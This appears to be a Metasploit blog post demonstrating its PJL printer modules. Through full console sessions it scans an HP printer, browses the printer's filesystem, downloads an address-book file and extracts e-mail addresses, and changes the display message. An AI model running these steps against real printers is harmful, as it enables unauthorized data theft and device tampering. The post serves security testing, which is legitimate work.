Products and Tools

Making Your Printer Say "Feed Me a Kitten" and Also Exfiltrate Sensitive Data

|Last updated on Feb 5, 2024|1 min read
LinkedInFacebookX

As of this last release, PJL (HP's Printer Job Language) is now a grown-up Rex::Proto protocol! Since extending a protocol in Metasploit is beyond the scope of this post, we'll just be covering how to use the PoC modules included with the new protocol. Feel free to dig around in lib/rex/proto/pjl*, though!

Okay, let's get started!

printer_version_info

First off, we have printer_version_info. This module lets us scan a range of hosts for printer version information. We'll set RHOSTS globally so we don't need to worry about setting it later. :)

msf > use auxiliary/scanner/printer/printer_version_info 
msf auxiliary(printer_version_info) > setg RHOSTS 417.216.55.69
RHOSTS => 417.216.55.69
msf auxiliary(printer_version_info) > run

[+] 417.216.55.69:9100 - HP LaserJet M5035 MFP
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed

As you can see, our target is an HP LaserJet M5035 MFP. This gives us a good idea of what to expect while running later modules.

printer_env_vars

printer_env_vars will get us a list of environment variables on the printer. This information isn't necessarily useful for what we're about to do, but it does give us information about the printer's configuration.

msf auxiliary(printer_version_info) > use auxiliary/scanner/printer/printer_env_vars 
msf auxiliary(printer_env_vars) > run

[+] 417.216.55.69:9100
LANG=ENGLISH [22 ENUMERATED]
ENGLISH
FRENCH
GERMAN
ITALIAN
SPANISH
SWEDISH
DANISH
NORWEGIAN
DUTCH
FINNISH
PORTUGUESE
TURKISH
POLISH
RUSSIAN
CZECH
HUNGARIAN
CATALAN
ΑΓΓΛΙΚΑ
ENGLISH
ENGLISH
ENGLISH
ENGLISH
[snip]

[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed

Since the listing is so long, we've snipped off everything past the language setting.

printer_list_volumes

Now we're going to start mucking with the printer's filesystem. We can list the initialized volumes using printer_list_volumes.

msf auxiliary(printer_env_vars) > use auxiliary/scanner/printer/printer_list_volumes 
msf auxiliary(printer_list_volumes) > run

[+] 417.216.55.69:9100
VOLUME TOTAL SIZE FREE SPACE LOCATION LABEL STATUS
0: 119754063872 119613587456 DISK 3 ? READ-WRITE

[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed

That's a lot of free space! Volume 0: has over a hundred gigs of readable/writable free space. Someone should implement FSDOWNLOAD to take advantage of that. ;)

printer_list_dir

Let's snoop around in 0:\ with printer_list_dir. Take a close look at the directories that pop up. Printers are unassuming, but this causes many people to consider them harmless. In reality, much of what people send through a printer may be stored or at least logged to its filesystem. Yeah, it has a disk. Scary, huh?

msf auxiliary(printer_list_volumes) > use auxiliary/scanner/printer/printer_list_dir 
msf auxiliary(printer_list_dir) > set PATHNAME '0:\'
PATHNAME => 0:\
msf auxiliary(printer_list_dir) > run

[+] 417.216.55.69:9100
. TYPE=DIR
.. TYPE=DIR
PermStore TYPE=DIR
saveDevice TYPE=DIR
webServer TYPE=DIR
FaxIn TYPE=DIR
Fax TYPE=DIR

[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf auxiliary(printer_list_dir) > set PATHNAME '0:\saveDevice'
PATHNAME => 0:\saveDevice
msf auxiliary(printer_list_dir) > run

[+] 417.216.55.69:9100
. TYPE=DIR
.. TYPE=DIR
CertMgmt TYPE=DIR
DigitalSend TYPE=DIR
ScanJobs TYPE=DIR
SavedJobs TYPE=DIR
SecurityAttrs TYPE=DIR

[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf auxiliary(printer_list_dir) > set PATHNAME '0:\saveDevice\DigitalSend'
PATHNAME => 0:\saveDevice\DigitalSend
msf auxiliary(printer_list_dir) > run

[+] 417.216.55.69:9100
. TYPE=DIR
.. TYPE=DIR
Jobs TYPE=DIR
ImagePipeline TYPE=DIR
Log TYPE=DIR
AddressBook TYPE=DIR

[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf auxiliary(printer_list_dir) > set PATHNAME '0:\saveDevice\DigitalSend\AddressBook'
PATHNAME => 0:\saveDevice\DigitalSend\AddressBook
msf auxiliary(printer_list_dir) > run

[+] 417.216.55.69:9100
. TYPE=DIR
.. TYPE=DIR
EmailPDL TYPE=DIR
FolderDestPDL TYPE=DIR
NetFolderPDL TYPE=DIR
speeddial.state TYPE=FILE SIZE=6
speeddial.db TYPE=FILE SIZE=2560
speeddial.bak TYPE=FILE SIZE=2560
email.state TYPE=FILE SIZE=6
email.db TYPE=FILE SIZE=16384
email.bak TYPE=FILE SIZE=16384
fax.state TYPE=FILE SIZE=6
fax.db TYPE=FILE SIZE=2560
fax.bak TYPE=FILE SIZE=2560

[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed

email.db looks interesting!

printer_download_file

Okay, so we found an interesting file (0:\saveDevice\DigitalSend\AddressBook\email.db) with printer_list_dir. We can now use printer_download_file to download it. The file will be stored in loot.

msf auxiliary(printer_list_dir) > use auxiliary/scanner/printer/printer_download_file 
msf auxiliary(printer_download_file) > set PATHNAME '0:\saveDevice\DigitalSend\AddressBook\email.db'
PATHNAME => 0:\saveDevice\DigitalSend\AddressBook\email.db
msf auxiliary(printer_download_file) > run

[+] 417.216.55.69:9100 - 0:\saveDevice\DigitalSend\AddressBook\email.db
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf auxiliary(printer_download_file) > loot

Loot
====

host service type name content info path
---- ------- ---- ---- ------- ---- ----
417.216.55.69 printer.file 0:\saveDevice\DigitalSend\AddressBook\email.db application/octet-stream Printer file /home/theplague/.msf4/loot/20140123145418_default_417.216.55.69_printer.file_564610.db

msf auxiliary(printer_download_file) > strings /home/theplague/.msf4/loot/20140123145418_default_417.216.55.69_printer.file_564610.db | tr A-Z a-z | sort -u
[*] exec: strings /home/theplague/.msf4/loot/20140123145418_default_417.216.55.69_printer.file_564610.db | tr A-Z a-z | sort -u

zerocool@nyse
acidburn@otv
joey@gibson

E-mail addresses! Just one of the many things you might find on a printer filesystem... Obviously, the real addresses have been replaced by fake ones, but the significance of this find is the same. In this case, those could have been organization e-mail addresses, which means you would now have usernames you could leverage for further attacks.

printer_ready_message

Okay, phew, we're done with the serious stuff, so let's have a little fun! There's an old trick to change the message on a printer's LCD screen. We're going to use printer_ready_message for that.

Here, we're changing the display to something you all should know. :P

msf auxiliary(printer_download_file) > use auxiliary/scanner/printer/printer_ready_message 
msf auxiliary(printer_ready_message) > set ACTION Change
ACTION => Change
msf auxiliary(printer_ready_message) > set MESSAGE HACK THE PLANET
MESSAGE => HACK THE PLANET
msf auxiliary(printer_ready_message) > run

[+] 417.216.55.69:9100 - HACK THE PLANET
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed

hack_the_planet.gif

It's probably a good idea to reset the display once you're done trolling. Just set ACTION to Reset and hit run!

msf auxiliary(printer_ready_message) > set ACTION Reset 
ACTION => Reset
msf auxiliary(printer_ready_message) > run

[+] 417.216.55.69:9100 - Processing...
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed

ready.gif

Like a ghost. ;)

Conclusion

If you're new to Metasploit, never fear! You can download it here. If you already have Metasploit installed, these modules are only an msfupdate away!

Credits

Related blog posts